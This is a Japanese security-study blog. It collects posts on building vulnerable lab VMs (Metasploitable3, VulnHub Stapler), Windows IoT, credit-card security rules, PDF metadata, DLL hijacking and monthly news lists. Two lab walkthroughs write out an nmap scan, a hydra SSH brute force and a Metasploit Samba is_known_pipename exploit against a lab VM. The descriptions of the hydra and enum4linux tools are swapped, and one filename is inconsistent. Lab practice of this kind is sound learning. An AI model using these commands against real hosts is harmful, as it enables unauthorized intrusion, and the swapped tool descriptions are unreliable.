家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

metasploitable3構築

概要

この記事ではmetasploitable3を構築します。
以前、metasploitable2をHyper-V上に構築しましたが、 今回は別環境で、VagrantとVirtualboxを使って構築します。
metasploitable3からはWindows Server2008の環境が追加されており、Windowsの検証環境として使うことができます。

 

 

 

環境構築

環境構築は以下のサイトを参考に実施しました。

github.com

 

1.必要なソフトのインストール

上記サイトの「Requirements:」に記載されている「Vagrant」及び「VirtualBox」をそれぞれサイトからダウンロードして、インストールしました。

 

補足:Vagrantとは

Vagrantとは、VirtualboxやVMware等の仮想化ソフトをCUIで操作するソフトです。
Vagrant Cloudに用意されている「box」というVMのベースになるイメージを指定してコマンドを実行するだけでVMを作成できます。
また、VMの構成をVagrantfileというテキストファイルに記述でき、Git等のソースコードリポジトリで管理することができます。

 

補足:VirtualBoxのエラー

VirtualBoxのインストール時(試験用に仮想マシンを立ち上げ時)、仮想マシンがうまく起動してきませんでした。
仮想マシンのインポートに成功するも、実行しても途中から黒い画面のまま、動かないということが発生しました。
原因はWindows Sandboxの機能を有効化していることでした。機能無効化後、仮想マシンが正常に動作しました。

 

2.metasploitable3インストール

PowerShellを起動し、以下のコマンドを実行します。

Invoke-WebRequest -Uri "https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile" -OutFile "Vagrantfile"

vagrant up

コマンドを実行するとVirtualBox上に仮想マシンが2台(LinuxとWindows)が作成されます。

f:id:iestudy:20210315110930p:plain

作成された仮想マシン

時間は結構かかりました。(私の環境では1時間ほど)

また、以下のようなエラーが表示され、仮想マシンの作成が失敗しました。

 

Progress state: E_INVALIDARG
VBoxManage.exe: error: Appliance import failed
VBoxManage.exe: error: Code E_INVALIDARG (0x80070057) - One or more arguments are invalid (extended info not available)
VBoxManage.exe: error: Context: "enum RTEXITCODE __cdecl handleImportAppliance(struct HandlerArg *)" at line 1118 of file VBoxManageAppliance.cpp

 

上記の原因はHDDの容量が不足していることでした。

システムの要件としては以下の通りなので、仮想マシンの作成に失敗した場合は、以下も参照してみていただければと思います。

 

System Requirements:
OS capable of running all of the required applications listed below
VT-x/AMD-V Supported Processor recommended
65 GB Available space on drive
4.5 GB RAM

 

仮想マシンが作成した後はVirtualBoxから仮想マシンを起動して使うことができます。
私は仮想マシン作成後、ブリッジアダプターに変換して検証を行いました。

参考にさせていただいたサイト

techblog.securesky-tech.com

https://www.sei-yo.jp/blog/engineer/2019/10/vagrant-up.html

qiita.com

 

 

SSHに対するパスワードクラック攻撃

概要

以前構築したstaplerの環境に対して、enum4linuxとhydraを使ったパスワードクラックを行います。

 

補足1:enum4linuxとは

ギリシャ神話に登場する9つの首を持つ怪物から名前を取ったと思われるオンラインパスワードクラッカー。

対応プロトコルはTELNET, FTP, HTTP, SMB, MS-SQL, MYSQL, POSTGRES ,VNC, POP3, IMAP,SSH2, SNMP,Cisco 等 多岐に渡る。

scan.netsecurity.ne.jp

 

補足2:hydraとは

Windowsのファイル共有やSambaから情報を取得し列挙(enumerate)するツール。

officialstrotect.net

 

 

 

 

実行結果

youtu.be

 

実行したコマンド

enum4linux 192.168.1.209
cat user.txt | cut -d "\\" -f 2 | cut -d " " -f 1 > userlist.txt
※user.txtはvi等で作成します。

hydra -L ./username.txt -P ./username.txt 192.168.1.209 ssh

※hydraのオプション(-L、-P)は、大文字だとファイル指定で小文字だと文字列指定になります。

 

 

 

Staplerを攻撃する(Sambaの脆弱性)

概要

以前構築したStaplerの環境に攻撃を行ってみました。

 

 

 

実行結果

youtu.be

 

Kali Linux側での実行コマンド

Staplerの情報収集

nmap -n 192.168.1.0/24
nmap -sS -Pn -sV -p- 192.168.1.209
nmap -vvv -A -p 139 192.168.1.209

 
metasploitでの実行コマンド

search pipename
use exploit/linux/samba/is_known_pipename
show options
set rhosts 192.168.1.209
set rport 139
show payloads
set payload cmd/unix/interact
set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1

また、動画には含まれていませんが、当該脆弱性の攻撃が成立する条件は以下のものがあります。

  1. Valid credentials
  2. Writeable folder in an accessible share
  3. Server-side path of the writeable folder

github.com

 

上記の条件を満たしているかについて、以下のコマンドで任意のファイルがアップロード可能か試すことで確認することができます。

smbclient -L 192.168.1.209
smbclient //192.168.1.209/tmp
※SMB接続後、任意のファイルをアップします
 put test.txt

 

参考にさせていただいたサイト

www.whitehat.de

www.tiger1997.jp

 

 

 

Stapler:1をHyper-V上に構築する

概要

VulnHubは意図的に脆弱性が残された仮想イメージを公開しているプラットフォームです。
「Stapler:1」は、VulnHubにて公開されている仮想イメージの一つです。
この記事では「Stapler:1」をHyper-V上に構築します。

 

 

構築

ファイルのダウンロード

Staplerのサイトから「Stapler.zip」をダウンロードします。

 

(失敗)VHDKをVHDXに変換

以前の方法だと、ダウンロードしたままのファイルではエラーが発生して変換できませんでした。 コンバートの前に少し手順を追加することでコンバートできました。

 

追加の手順:dsfokダウンロード

こちらのサイトよりdsfokをダウンロードします。

 

追加の手順:dsfokによるヘッダの書き換え

ダウンロードしたファイルを解凍し、以下のコマンドを実行します。(コマンドプロンプト使用)

 

dsfo.exe "「.vmdk」ファイルのパス" 512 1024 "descriptor.txt"

 

コマンド実行後、「descriptor.txt」というファイルが作成されます。ファイルをメモ帳で開き、以下の部分をコメントアウトします。

 

descriptor.txtの内容

# Disk DescriptorFile
version=1
CID=97c48ede
parentCID=ffffffff
createType="streamOptimized"

# Extent description
RDONLY 41943040 SPARSE "generated-stream.vmdk"

# The Disk Data Base
#DDB

ddb.adapterType = "lsilogic"
ddb.geometry.cylinders = "2610"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.longContentID = "3d691b663a2d01981d1600b2666014ac"
#ddb.toolsInstallType = "4"•••ここをコメントアウト
ddb.toolsVersion = "10247"
ddb.virtualHWVersion = "12"

 

上記の編集後、以下のコマンドを実行します。

 

dsfi.exe "「.vmdk」ファイルのパス" 512 1024 "descriptor.txt"

VHDKをVHDXに変換

上記実施後は以前と同様にコンバートが可能です。(PowerShell使用)

 

Import-Module "C:\Program Files\Microsoft Virtual Machine Converter\MvmcCmdlet.psd1"

 

ConvertTo-MvmcVirtualHardDisk -SourceLiteralPath 「.vmdk」ファイルのパス -VhdType DynamicHardDisk -VhdFormat Vhdx -Verbose

 

VHDXに変換後は通常の仮想マシンの作成と同様の手順で構築可能でした。 

 

参考にさせていただいたサイト

stackoverflow.com

kb.seeck.jp

blog.myanote.com

www.mysysadmintips.com

 

 

 

Windows IoTについて

Windows 10の種類

Windows 10にはいくつかのエディションがあります。
個人利用向けの「Home」や、企業ユーザ向けの「Pro」、「Enterprise」といった一般的に普段使う機会の多いものや、組込み機器等特殊用途の「IoT」といったエディションがあります。
今回はこの「Windows 10 IoT」について調べたことをまとめます。

f:id:iestudy:20210301145130p:plain

Windows10の種類

Windows 10の基礎の基礎、エディションの種類や比較など | パソコン工房 NEXMAG

Compare Windows 10 Editions: Pro vs. Enterprise – Microsoft

 

 

 

Windows 10 IoTについて

Windows 10 IoTは特定用途のOSです。これまでEmbeddedとして呼ばれていたもののに相当するものです。
Windows 10 IoTはPOS端末や工場の生産ラインで使用される端末に導入されるイメージがありますが、リモートワークに使用するケースもあります。

 

また、Windows 10 IoTの中でもさらに種類が分かれています。

  • Windows 10 IoT Enterprise
  • Windows 10 IoT Core

 

Windows 10 IoT Enterprise

Windows 10 IoT Enterpriseは企業利用を想定したものです。
用途としては特定用途機器に搭載したり、昨今のリモートワーク普及で利用可能な社外利用の端末(シンクライアント端末)として使われます。
通常のWindows 10 EnterpriseとIoT Enterpriseでは以下のような違いがあります。

f:id:iestudy:20210301145352p:plain

通常のEnterpriseとIoT Enterprise比較

ロジテックのWindows 10 IoT Enterprise | Win10 IoTなら

 

上記の通り2つのOSは基本的には同じOS(バイナリ)であり、IoTでは特定用途のための機能制限(LockDown)が拡充されているものとなります。

同じOSであるため、IoT Enterpriseは、一部使用できないアプリ(EdgeやOffice等)の制限があるものの、通常のEnterpriseと同じようにADによる管理も可能です。

※リモートワークを例に考えた場合は、以下のような制限をかけることが可能です。

  • 端末内に情報を記録させない
  • 業務に不要なアプリケーションを起動させない(社内にVPN接続させるためのアプリケーションのみ起動可能等)

また、LTSCという更新プログラムで利用するケースも多くあります。
LTSCでは、Windows 10で行われる「機能更新」がなく、修正プログラムの提供のみとなるため、特定用途の端末においては、利用開始した環境でそのまま使い続けることが可能で、通常の端末にあるような機能更新に伴う端末評価が不要となるメリットがあります。

Windows 10 IoT Enterprise の概要 - Windows IoT | Microsoft Docs

  

Widnows 10 IoTのロックダウン機能

ロックダウン機能には以下のようなものが含まれています。

項番 機能名 概要
1 AnimationDisabled カスタムログオンのようこそ画面の
切り替え効果アニメーションを無効にします。
2 BrandingNeutral ようこそ画面に表示するUI要素を指定します。
3 HideAutoLogonUI 自動サインインが有効になっている場合、
ようこそ画面を非表示にします。
4 NoLockScreen ロック画面の機能と UI 要素を無効にします。
5 UIVerbosityLevel デバイスの起動、サインイン、
およびシャットダウン中の
Windowsステータスメッセージを無効にします。
6 Shell Lancher カスタムログオンのようこそ画面の
切り替え効果アニメーションを無効にします。
ユーザーごとに異なるシェルを利用できるため、
ユーザーまたはユーザーグループごとに異なる
シェルアプリケーションを起動することもできます。
7 KeyboardFilterService ショートカットキーを使用して、
不良なキーの押下やキーの組み合わせを抑制できます。
8 Unified Write Filter

統合書き込みフィルター機能(UWF)。
いわゆる「電源ブチ切り」で利用されることがあるものです。
ストレージに対して書き込み制限などができる機能であり、
起動直後からストレージ対しての書き込みを発生させないことで、
ストレージがSSDであればいつ電源を切っても
問題ない動作になります
(HDDの場合は、回転してヘッドが退避できない
可能性があるため、対応NGです)。

 

Windows IoT Core

Windows 10 IoT Coreはラズベリーパイのような小型のコンピュータにも搭載可能なOSで、Windows 10 IoT Enterpriseと比較して機能が制限されたものです。

f:id:iestudy:20210301145836p:plain

Windows IoT CoreとEnterpriseの比較

「Windows 10 IoT Core」の現状とラズパイ3へのインストール(1/3 ページ) - MONOist

 

また、IoT Coreは個人で無償利用が可能であり、ライセンスの認証がありません。

 

Windows IoT Core今後の展望

Microsoftは2021年に「Windows 10 IoT Core」と「Windows 10 IoT Enterprise」を統合を予定しているようです。
それによりWindows 10 IoT Enterpriseに統一化されるようです。

「Windows 10 IoT Core」と「Windows 10 IoT Enterprise」、2021年に統合へ - ZDNet Japan

 

Windows IoT Coreを使ってみる

Windows 10 IoT CoreをRaspberry Piにインストールしてみました。

1.Windows 10 IoT Core Dashboardをインストール
Microsoftのサイトから「Windows 10 IoT Core Dashboard」をダウンロードしてインストールします。
この作業は、ラズベリーパイのイメージを作成する端末で行います。

2.SDカードに書き込み

以下のように必要事項を入力し、書き込みを実行します。

f:id:iestudy:20210301150202p:plain

Dashboardでの設定イメージ

 

しばらくして、以下の画面が表示されたら書き込み完了です。

f:id:iestudy:20210301150239p:plain

書き込み完了画面

 

3.ラズベリーパイの起動
Windows IoT CoreをインストールしたSDカードをラズベリーパイに接続し起動します。
インストールできているとOSが起動されます。

f:id:iestudy:20210301150634p:plain

IoT Coreのデスクトップイメージ

参考にさせていただいたサイト

https://shop.epson.jp/pc/emb/embqa/images/enbga.pdf

 

www.atmarkit.co.jp

 

 

 

「クレジットカード・セキュリティガイドライン」(実行計画の後継文書)の概要

「クレジットカード・セキュリティガイドライン」(実行計画の後継文書)について

発行機関 :クレジット取引セキュリティ対策協議会(日本クレジット協会)

発行年月日:2020年3月

 

www.j-credit.or.jp



 

クレジット取引セキュリティ対策協議会とは

クレジット取引セキュリティ対策協議会とは、クレジットカード取引において「国際水準のセキュリティ環境」を整備することを目的として設立された団体です。
これまで、2016年2月から2019年3月にかけて「実行計画」を策定し、セキュリティ対策の推進を図ってきました。

 

実行計画

https://www.j-credit.or.jp/security/pdf/plan_2019.pdf


さらに上記「実行計画」の公開後もクレジットカード取引におけるセキュリティ向上のため、「クレジットカード・セキュリティガイドライン」を策定しました。
本記事では上記のガイドラインを対象にしています。

 

 

 

クレジットカード・セキュリティガイドラインとは

クレジットカード・セキュリティガイドラインは、「割賦販売法(後払分野)に基づく監督の基本方針」において割賦販売法で義務付けられているカード番号等の適切な管理及び不正利用防止措置の実務上の指針として位置付けられるものです。
このガイドラインでは、割賦販売法で規定される措置に該当する部分を【指針対策】と記載しています。

 

補足:「割賦販売」とは

割賦販売(かっぷはんばい)とは、売買代金の支払いを分割して支払うことを条件とした販売方式。 支払間隔に応じて週賦・旬賦・月賦・年賦などの方法がある。 消費者信用のうちの、販売信用の一つ。

割賦販売 - Wikipedia

 

クレジットカード情報の保護対策として

ガイドラインでは、加盟店における対策として以下を示しています。

 

(1)加盟店
■カード情報を保持しない「非保持化」(非保持と同等/相当を含む)又はカード情報を保持する場合はPCI DSSに準拠する。【指針対策】

f:id:iestudy:20210227102858p:plain

加盟店における対策

補足:「加盟店」とは

加盟店は、クレジットカードにおいては、「マーチャント(Merchant)」とも呼ばれ、ホテルや旅館、百貨店、スーパー、コンビニ、量販店、商店、飲食店、病院、ガソリンスタンド、Webサイトなど、街中やインターネットでカードを使えるところをいいます。

加盟店とは|金融経済用語集 - iFinance

 

非保持化について

クレジットカードの非保持化の方策として、ガイドラインでは以下の内容が示されています。

f:id:iestudy:20210227104519p:plain

非保持化の対策について

上記の内、リダイレクト型決済についてイメージを以下に示します。

f:id:iestudy:20210227104637p:plain

リダイレクト型決済と対策範囲

リダイレクト型決済の場合、決済時は別のサイト(上図のPSP)で行います。
PSPはクレジットカード情報を取り扱うためにPCI DSSに準拠していますが、加盟店側はクレジットカードを持たない(非保持化)ため、特別なセキュリティの要求事項は発生しません。

 

ただし、クレジットカードを非保持化としている場合であっても、ECサイトの脆弱性を悪用され、決済画面へのリンクが攻撃者のフィッシングサイトに変更されることで、非保持としている加盟店のECサイトからクレジットカード情報が漏洩する事例が確認されています。

www.itmedia.co.jp

 

www.i-ori.jp

 

補足:PCI DSSの12要件について

安全なネットワークとシステムの構築・維持

  • 要件1:カード会員データ保護のためのファイアウォールのインストールと構成の維持
  • 要件2:システムパスワードおよびその他のセキュリティパラメータには ベンダ提供のデフォルト値を使用しない

カード会員データの保護

  • 要件3:保存されるカード会員データの保護
  • 要件4:カード会員データをオープンな公共ネットワーク経由で伝送する場合の暗号化

脆弱性管理プログラムの整備

  • 要件5:すべてのシステムをマルウェアからの保護とウィルス対策ソフトウェアまたはプログラムの定期的な更新
  • 要件6:安全性の高いシステムとアプリケーションを開発と保守

強固なアクセス制御手法の導入

  • 要件7:業務上必要な範囲内にカード会員データへのアクセスを制限する
  • 要件8:システムコンポーネントへのアクセスの確認と許可
  • 要件9:カード会員データへの物理アクセスの制限

定期的なネットワークの監視及びテスト

  • 要件10:ネットワークリソースおよびカード会員データへのすべてのアクセスの追跡および監視
  • 要件11:セキュリティシステムおよび管理手順の定期的なテスト

情報セキュリティーポリシーの維持

  • 要件12: すべての担当者の情報セキュリティポリシーの整備維持

 

 

 

2021年2月のIT・セキュリティトピック

2021年2月に気になったニュースをまとめます。

 

 

 

記事の投稿日 概要
2021/02/01 ZoomとDocuSignがランクアップ--Okta調査に見る全世界リモート化の進行度
2021/02/01 IPA、テレワークとIT業務委託のセキュリティ実態調査(組織編)の中間報告を公開
2021/02/01 プログラミング言語Perlが公式サイトのドメインをランサムウェア配布サイトに乗っ取られる
2021/02/02 個人情報含むファイルをVirusTotalに誤送信 - 北陸先端大
2021/02/02 セールスフォース設定不備、バンダイや政府観光局でも
2021/02/03 中国人とみられるハッカー団、米政府機関システムに侵入=関係筋
2021/02/02 「設定を見直して」 NISC、「Salesforce」利用企業に注意喚起 楽天やPayPayの情報流出を受け
2021/02/02 Amazon偽メールが急増中! 見分け方は? 騙されるとどうなる?
2021/02/03 シスコ、「2021年セキュリティ成果調査」の日本語版を発表
2021/02/03 サイバーセキュリティクラウド、「サイバー攻撃検知レポート2020」を発表
2021/02/03 攻撃グループ「Lazarus」のマルウェア情報を公開 - JPCERT/CC
2021/02/03 SNSフォローで「当選」からID・パスワード伝達、不正使用される 20代女性が被害
2021/02/05 ラック、サイバー救急センターレポート 第10号を公開 ~急増したマルウェア関連のインシデント ...
2021/02/05 ソフト開発会社がマルウェア開発か - ソフォスが指摘
2021/02/07 【独自】資金洗浄、AIで防止…不正送金など検知する新システム導入図る
2021/02/08 金融システムのAWS活用 厳しいセキュリティ要件に対応するための注意と対策(上)
2021/02/08 般社団法人 Japan Automotive ISACが発足
2021/02/08 2021年1月のフィッシング報告件数4万3千件を突破|フィッシング対策協議会
2021/02/08 活動範囲を拡大するランサムウェア「RansomExx」を事例で解説
2021/02/09 ラスクショップに不正アクセス - 流出クレカ情報が不正利用の可能性
2021/02/09 浄水システムに不正侵入、苛性ソーダ濃度100倍に設定 米フロリダ州
2021/02/10 【札幌市西区手稲区】SMSに届く虚偽の「未納料金請求」にご注意ください
2021/02/09 CD Projekt Red、Cyber​​attack、Witcher 3およびCyber​​punk 2077のソースコード盗難被害
2021/02/10 MS、月例パッチで脆弱性56件を修正 - 一部で悪用も
2021/02/10 クラウド会計のfreee、顧客情報2千件が漏洩の恐れ
2021/02/10 1月のフィッシング報告は4万3972件、正規のSMSと同じスレッドに表示されるAmazonをかたる ...
2021/02/09 広島県警に「特別サイバー捜査官」 インターネット犯罪に対処
2021/02/09 海外ゲームメーカーでランサム被害 - 人気タイトルのソースコード流出か
2021/02/10 SUNBURST脅威キャンペーンの調査で見えたSecOpsの6つのベストプラクティス
2021/02/11 高砂市の公式アプリに設定不備
2021/02/11 不正アクセス 西条市被害 情報最大1000人分流出か
2021/02/11 市公式アプリに第三者アクセス データ不正取得など調査 木更津
2021/02/12 とあるウェブカムアプリが数千人のユーザーアカウント情報を漏洩
2021/02/12 なりすましの問い合わせに個人情報を提供 - 奈良県
2021/02/12 「マイナビ転職」への不正ログイン発生に関するお詫びとお願い – 株式会社マイナビ
2021/02/13 個人情報、外部漏えいか 市健診システムに不正アクセス 香芝と宇陀 /奈良
2021/02/13 米IT企業のサービス利用 自治体システムで不正アクセス相次ぐ
2021/02/13 『ブルーアーカイブ』何者かにより悪質なサーバー攻撃を受け緊急対応中―Twitterでは「DDoS ...
2021/02/13 不正送金の疑いでベトナム国籍の男を逮捕
2021/02/14 Google、オープンソースの脆弱性発見を支援するサイト「Open Source Vulnerability」を発表
2021/02/15 clubhouseのセキュリティに懸念、中国政府に監視される可能性も
2021/02/15 ロシアの大手検索プロバイダ社員、5千人弱の顧客のメールを覗き見
2021/02/16 SAP、2月の定例更新で深刻な脆弱性に対処
2021/02/16 サイバーセキュリティに関するホワイトペーパー「日本を標的としたサイバー攻撃:2020年の概観 ...
2021/02/16 英仮想通貨取引所ExmoがDDoS攻撃被害、2ヶ月前にハッキング被害を受けたばかり
2021/02/17 新潟市Net119に不正アクセス 47人の個人情報閲覧 /新潟
2021/02/17 ハッカーが「身代金」要求 欧州系ネット証券の情報流出で
2021/02/17 サクソバンク証券にハッカーが「身代金」要求=顧客情報漏えいで
2021/02/18 ひたちナビに不正アクセス 個人情報閲覧か /茨城
2021/02/17 マイナンバー、中国で流出か 長妻氏指摘、年金機構は否定
2021/02/18 男性向けファッション通販サイトに不正アクセス
2021/02/18 ボットネットの関心がマイニングに移り、DDoS攻撃が減少―ロシアのソフト大手が報告
2021/02/18 SBI証券資金流出事件 偽口座開設の疑いで2人逮捕 大阪府警
2021/02/19 ビットコイン1千万円詐取容疑 システム会社の元社員逮捕―警視庁

 

 

PDFのプロパティに含まれる情報

概要

PDFに含まれる情報について興味深いツイートを拝見したので、改めてPDFのプロパティに含まれる情報について調べてみました。

 

 

 

PDFのプロパティに含まれる情報について

PDFファイルには、意図せずに含まれている情報があります。
PDFの作者やタイトルなどのメタデータが相当します。 プロパティに含まれるメタデータは、 WordなどのMicrosoft OfficeアプリケーションからPDFを作成すると、 Microsoft Officeアプリケーションのプロパティ情報がそのまま引き継がれて自動入力されます。

 

f:id:iestudy:20210215140121p:plain

PDFのプロパティ情報のイメージ

PDFのプロパティに含まれる情報の確認方法について

PDFのプロパティ情報は、Acrobat等でファイルを開いた際に「文書のプロパティ」から確認することができます。

 

参考:Linuxでの確認

以下はUbuntuでの例ですが、「pdfinfo」コマンドより、 PDFファイルのプロパティ情報を確認することもできます。

f:id:iestudy:20210215135948p:plain

pdfinfoの実行イメージ

 

PDFのプロパティに含まれる情報の削除について

Officeで作成したファイルで情報を削除する方法について以下に記載します。

以下はWordの例ですが「ファイル」―「情報」―「問題のチェック」―「ドキュメントの検査」を選択します。

f:id:iestudy:20210215140018p:plain

プロパティ情報の削除


 

「検査」を実行すると情報が含まれる項目が表示されます。

 表示された項目に関して「削除」を実行することで情報を削除することができます。

 

 

「.dll」について調べてみた

dllとは

dllファイルはDynaminc Link Libraryの略で、単体で実行することはできず、exe等のプログラム実行時にリンクされ、メモリ上に展開されることで利用されます。
dllファイルには多くのプログラムが共通して必要とする機能が収められています。

 

 

 

dllファイルとセキュリティ

dllに関連した攻撃として「dllハイジャッキング」があります。

DLL乗っ取りとはOSのプログラム実行順序を不正に操作し、正規のDLLではなく不正なDLLを実行させる攻撃手法のことです。
WindowsのDLLとは、プログラムのコンパイル時にリンクするのではなく、プログラムの実行時に同時にロードされるライブラリです。
DLLをロードする場合、どのディレクトリに目的のDLLが存在するか検索します。
見つかったDLLをロードしますが、このDLLを検索する順序を不正に操作し不正なDLLをロードさせること攻撃を"DLLハイジャッキング"と呼びます。

DLLハイジャッキングとは(DLL Hijacking) | サイバー攻撃大辞典

 

dllに関しては、各セキュリティベンダでも注意が必要なファイルとされています。

 

トレンドマイクロのサイト

ショートカットファイル(.LNK)やスクリプトファイル(.VBS, .JS)などは「実ファイルタイプ | 実際のファイルタイプ」フィルタでは設定できませんが、添付ファイルの「名前または拡張子」フィルタを使用して、拡張子を検出することができます。不正プログラムでは次のような拡張子がよく使用されるため、「検索するファイル拡張子 (推奨) | ブロックが推奨されるファイル拡張子」リストの中でも特に検出を有効にすることを推奨します。

.BAT
.CHM
.CMD
.COM
.DLL
.EXE
.HTA
.JS or .JSE
.LNK
.PIF
.OCX
.SCR
.SYS
.VBS
.VBE

Q&A | Trend Micro Business Support

 

CISAによるEmotetに対する注意喚起

CISAでは、あわせて「Emotet」の影響を緩和する施策の実施を推奨。具体的には、実行ファイル「.exe」やライブラリファイル「.dll」のメール添付ファイルをブロックすることにくわえ、パスワードが設定されたzipファイルなど、セキュリティ対策ソフトでスキャンできないメールの添付ファイルについてもブロックすることをベストプラクティスに挙げた。

【セキュリティ ニュース】「Emotet」対策でパスワード付きzip添付ファイルのブロックを推奨 - 米政府(2ページ目 / 全3ページ):Security NEXT

 

ZScalerの資料

https://www.idaten.ne.jp/portal/page/out/dsf2/C1187_maker.pdf

 

参考:dllの読み込みの順番

プログラムがdllを参照する際の検索順序はMicrosoftのサイトに記載があります。

  1. アプリケーションのロード元となったディレクトリ
  2. カレントディレクトリ
  3. システムディレクトリ。通常はC:\Windows\System32\(このディレクトリは、GetSystemDirectory関数を呼び出して取得)
  4. 16ビットシステムディレクトリ(このディレクトリパスを取得する専用の関数はありませんが、検索は実行される)
  5. Windowsディレクトリ(GetWindowsDirector関数を呼び出して取得)
  6. PATH環境変数で指定されているディレクトリ

※プログラムがカレントディレクトリからdllをロードしようとする際にプログラムに脆弱性があると、dllハイジャッキングが可能となります。

 

実際にdllファイルを使ってみる

dllについてわかってきたところで、実際にdllを作成してほかのプログラムから使用するということをやってみます。

 

概要

今回はVisual Studioでdllを作成し、作成したdllをVBAで呼び出してみることをやります。

dllの内容は引数に渡された文字列を「Hello」というメッセージの後に連結するものです。

※dllの作成とVBAの実行は別のPCで行いました。

 

dllの作成(Visual Studio)

Visual Studioを起動し、新しいプロジェクトを作成します。

テンプレートは「クラスライブラリ(.Net Framework)」を選択します。

f:id:iestudy:20210207224438p:plain

プロジェクトの新規作成

 

プロジェクトが作成された後、プロパティの画面より「COM相互運用機能の登録」にチェックを入れます。

f:id:iestudy:20210207224830p:plain

プロパティの設定

 

コードは以下の内容を入力しました。

 

dllのコード

Imports System
Namespace MyClass1
   Public Class MyClass1
      Public Function Hello(ByVal sName As String) As String
         Return "Hello!! " & sName
      End Function
   End Class
End Namespace

 

コードを入力後、「Release」を選択して実行します。

f:id:iestudy:20210207225321p:plain

「Release」を選択して実行

 

その後、作成されたdllファイルを別PCにコピーします。

 

VBAでdllを読み込む(別PCでの操作)

作成したdllをVBAより呼び出します。先ほどとは別のPCで操作を行います。

 

dllはCOMコンポーネント(Component Object Model)と呼ばれるものの一つで、dllを利用する場合はレジストリへの登録が必要な場合があります。

 

まずはレジストリへの登録を行います。RegAsm.exeというツールを使用して登録を行います。

 

コマンドの実行例

c:\Windows\Microsoft.NET\Framework\v4.0.30319>RegAsm.exe C:\test3.dll /tlb /codebase
Microsoft .NET Framework Assembly Registration Utility 4.8.4084.0
for Microsoft .NET Framework Version 4.8.4084.0
Copyright (C) Microsoft Corporation. All rights reserved.

RegAsm : warning RA0000 : 署名されていないアセンブリを /codebase を使用して登録すると、同じコンピューターにインストール されるその他のアプリケーションとの競合が生じる可能性があります。/codebase スイッチは署名されたアセンブリのみに使用できます。アセンブリに厳密な名前を付けて、再登録してください。
型は正常に登録されました。
アセンブリは 'C:\test3.tlb' にエクスポートされ、タイプ ライブラリは正常に登録されました。

 

補足:追加したレジストリの削除について

以下のコマンドにより、レジストリの登録は解除できるという情報を見ました。

 

コマンドの実行例

c:\Windows\Microsoft.NET\Framework\v4.0.30319>RegAsm.exe /u c:\test3.dll

※自分の環境ではレジストリが削除されなかったので「regedit」より「test3」(作成したdllの名前)というキーワード検索で使用後に削除しました。 

 

VBAを開き、「ツール」-「参照設定」より、作成したdllを選択します。

f:id:iestudy:20210207231221p:plain

「参照設定」のイメージ

以下のコードを入力し、実行するとdllが読み込まれて実行されます。

 

VBAのコード

Option Explicit

Sub test()
   Dim objMyClass As New test3.MyClass1
   MsgBox objMyClass.Hello("iestudy")
End Sub

 

f:id:iestudy:20210207231408p:plain

実行結果

 

参考にさせていただいたサイト

archives2011-2018.fortinet.co.jp

excel.syogyoumujou.com

 

 

2021年1月のIT・セキュリティトピック

2021年1月に気になったニュースをまとめます。

 

 

 

記事の投稿日 概要
2021/01/01 Data breach broker selling user records stolen from 26 companies
2021/01/01 楽天、148万件の情報が不正アクセス可能な状態に
2021/01/03 Microsoft、SolarWinds関連の攻撃でソースコードへの不正アクセスを確認
2021/01/03 ロシア政府の支援を受けるハッキンググループによるアメリカ政府機関へのサイバー攻撃 ...
2021/01/04 あいちトリエンナーレ実行委のシステムに不正アクセス なりすましメール送信
2021/01/05 セキュリティベンダー各社が予想する2021年の脅威動向
2021/01/05 IPA公開「情報セキュリティサービス基準適合リスト」へ「SasaL AIペネトレーションテスト ...
2021/01/05 NECプラットフォームズ製のIP-PBXサーバに深刻な脆弱性
2021/01/05 愛媛大に不正ログイン 迷惑メール3万5000件送信
2021/01/05 海外拠点経由で不正アクセス、情報流出の可能性 - 川崎重工
2021/01/06 フィッシング報告、2カ月連続で3万件超 - URL件数も高水準
2021/01/05 日本ネットワークセキュリティ協会、2020年セキュリティ10大ニュースを発表
2021/01/06 福岡県 コロナ感染者約9500人分の情報漏洩 ネット上に名前や症状などの個人情報
2021/01/06 ファッションEC「MEMPHIS STORE」に不正アクセス、実害発生も
2021/01/06 「リラックマ」の会員制ファンサイトに不正アクセス メールアドレス10万件が漏えいか
2021/01/07 ITセキュリティ法案を閣議決定、中国製品を重要インフラから実質排除
2021/01/08 2021年のセキュリティ十大トレンド、“テレワークの在宅勤務者を守る対策”が重要に|JASA
2021/01/08 【注意喚起】偽の特別定額給付金申請案内メールに注意
2021/01/08 ゆうちょ銀行「mijica」サービス終了、不正出金・不正アクセス問題で
2021/01/08 Googleの物理キー「Titan セキュリティ キー」がサイドチャネル攻撃により突破される
2021/01/11 NZ中銀、データシステムに不正アクセス 機密情報流出も
2021/01/12 「exploit」の多さは筆頭級、悪用多発のFlash終了
2021/01/12 松山市関連スポーツサイトに不正アクセス - 管理者アカウントでログイン
2021/01/12 先週のサイバー事件簿 - 楽天グループの社外クラウドで不正アクセス被害
2021/01/12 【第三報】カプコン、不正アクセスによる個人情報の流出についての続報を発表 流出が確認された ...
2021/01/12 標的型ランサムウェアRyuk、BTCで約1億5千万ドル相当を調達
2021/01/12 SB元社員逮捕、5G情報漏洩か 楽天モバ「誠に遺憾」
2021/01/13 Hackers leak stolen Pfizer COVID-19 vaccine data online
2021/01/13 三越伊勢丹グループの「エムアイカード」装うフィッシングに注意
2021/01/13 SKYSEA Client View」のインストーラに脆弱性 - 最新版の利用を
2021/01/13 Microsoft、2021年1月の更新を発表 ~「Microsoft Defender」にゼロデイ脆弱性
2021/01/13 Microsoft Azure に対応するサイバーリスク保険付きオプション提供
2021/01/13 AvePoint Japan、Microsoft 365 向けアクセス権管理対策ツール Policies and Insights (PI) を ...
2021/01/14 【2022年から違反業者は最大1億円の罰金】Webサイトのセキュリティ対策は万全ですか?「Webセキュリティ対策」サービスを新規にスタートしました!/a>
2021/01/14 クラウドストライク、2021年のサイバーセキュリティ脅威予測を発表
2021/01/14 東京電機大学、Boxの設定ミスで学内システム情報等が誰でも参照可能な状態に。
2021/01/15 トレンドの法人向けエンドポイント製品に複数脆弱性 - CVSS値が最高値の脆弱性も
2021/01/14 サイバー攻撃で不正にアクセスされたコロナワクチン情報の一部が流出--欧州医薬品庁
2021/01/14 個人情報関連ミス、12月前後の1カ月で17件 - 大阪市
2021/01/15 セキュリティ人材育成や流動化で協業 - JTAG財団とJNSA
2021/01/15 2/12(金)クライアントからの情報漏洩をどう防ぐ?テレワーク中のZoom・TeamsなどのWeb ...
